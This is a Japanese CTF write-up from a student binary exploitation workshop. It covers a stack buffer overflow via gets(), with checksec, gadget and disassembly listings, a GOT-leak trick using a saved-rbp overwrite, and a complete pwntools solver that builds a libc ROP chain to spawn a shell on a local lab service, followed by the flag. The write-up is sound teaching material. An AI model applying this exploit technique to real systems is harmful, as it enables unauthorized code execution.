- Source: Binary Exploitation Workshop for Students
- Author: 株式会社サイバーディフェンス研究所
※ 本Writeupでは、株式会社サイバーディフェンス研究所によるBinary Exploitation Workshop for Students内で実施されたCTFの問題を扱います。
Dockerで立ち上げられる環境が配布された。ありがたい。問題のソースコードを見る。
chal.c
#include <stdio.h>
#include <stdint.h>
extern char *gets(char *s);
__attribute__((constructor))
void init(void){
// setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
int main(void) {
char buf[0x18];
uint64_t num = 0x1234;
printf("num is %#lx.\n", num);
gets(buf);
printf("Now, num is %#lx.\n", num);
return 0;
}
まずはchecksecする。NX以外は全て無効になっており、うれしい。
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
自明なBOFが存在するので、ROPでshellを取ってflag.txtを読むことを目標とする。
しかしバイナリ単体だとコード量も少なく、ガジェットが足りない。
$ ROPgadget --binary chal --only "pop|ret"
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040105a : ret 0xffff
libcのガジェットを使いたいが、ASLRが有効になっているのでleakする必要がある。printfとgetsだけで任意のアドレスを読み出す方法が必要になりそう。うーむ。
ここでobjdumpしたアセンブリを読むと、printfでrbp-8の値を出力していることが分かる。
0000000000401195 <main>:
401195: f3 0f 1e fa endbr64
401199: 55 push %rbp
40119a: 48 89 e5 mov %rsp,%rbp
40119d: 48 83 ec 20 sub $0x20,%rsp
4011a1: 48 c7 45 f8 34 12 00 movq $0x1234,-0x8(%rbp)
4011a8: 00
4011a9: 48 8b 45 f8 mov -0x8(%rbp),%rax
4011ad: 48 89 c6 mov %rax,%rsi
4011b0: bf 04 20 40 00 mov $0x402004,%edi
4011b5: b8 00 00 00 00 mov $0x0,%eax
4011ba: e8 b1 fe ff ff call 401070 <printf@plt>
4011bf: 48 8d 45 e0 lea -0x20(%rbp),%rax
4011c3: 48 89 c7 mov %rax,%rdi
4011c6: e8 b5 fe ff ff call 401080 <gets@plt>
4011cb: 48 8b 45 f8 mov -0x8(%rbp),%rax
4011cf: 48 89 c6 mov %rax,%rsi
4011d2: bf 12 20 40 00 mov $0x402012,%edi
4011d7: b8 00 00 00 00 mov $0x0,%eax
4011dc: e8 8f fe ff ff call 401070 <printf@plt>
4011e1: b8 00 00 00 00 mov $0x0,%eax
4011e6: c9 leave
4011e7: c3 ret
ということで、BOFでsaved rbpを解決済のfunc@got+8に、リターンアドレスをmain+20に上書きしてあげれば関数のプロローグを実行させずにprintf直前へ飛び、そのままgotの解決先(libc領域内)を出力させることができる。
例えば、printfのgotをleakさせるにはこうすれば良い。
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
payload = b'A'*0x20
payload += p64(printf_got+8)
payload += p64(main_addr+20)
conn.sendlineafter(b'0x1234.', payload)
conn.recvuntil(b'num is ') # drop 0x4141...
conn.recvuntil(b'num is ')
leak = int(conn.recvuntil(b'.', drop=True).strip(), 16)
print(f'leak: 0x{leak:012x}') # leak: 0x7c6bee6f1100
ここからprintf関数のoffsetを引けばlibcのベースアドレスが求められるので、あとはROPするだけ。
最終的なsolverはこうなる。
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
HOST, PORT = 'localhost', 30714
elf = ELF('./chal')
libc = ELF('./libc.so.6') # from docker image
conn = remote(HOST, PORT)
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
payload = b'A'*0x20
payload += p64(printf_got+8)
payload += p64(main_addr+20)
conn.sendlineafter(b'0x1234.', payload)
conn.recvuntil(b'num is ') # drop 0x4141...
conn.recvuntil(b'num is ')
leak = int(conn.recvuntil(b'.', drop=True).strip(), 16)
printf_addr = libc.symbols['printf']
libc.address = leak - printf_addr
assert libc.address & 0xfff == 0
log.success(f'libc base: 0x{libc.address:012x}')
binsh_addr = next(libc.search(b'/bin/sh'))
rop = ROP(libc, badchars=b'\x0a')
rop.execv(binsh_addr, 0)
payload = p64(rop.ret.address)*(0x28//8)
payload += bytes(rop)
conn.sendline(payload)
conn.interactive()
これでshellが取れたので、flag.txtを読む。
FLAG{R0P_c4n_g1v3_y0u_4_5h3ll}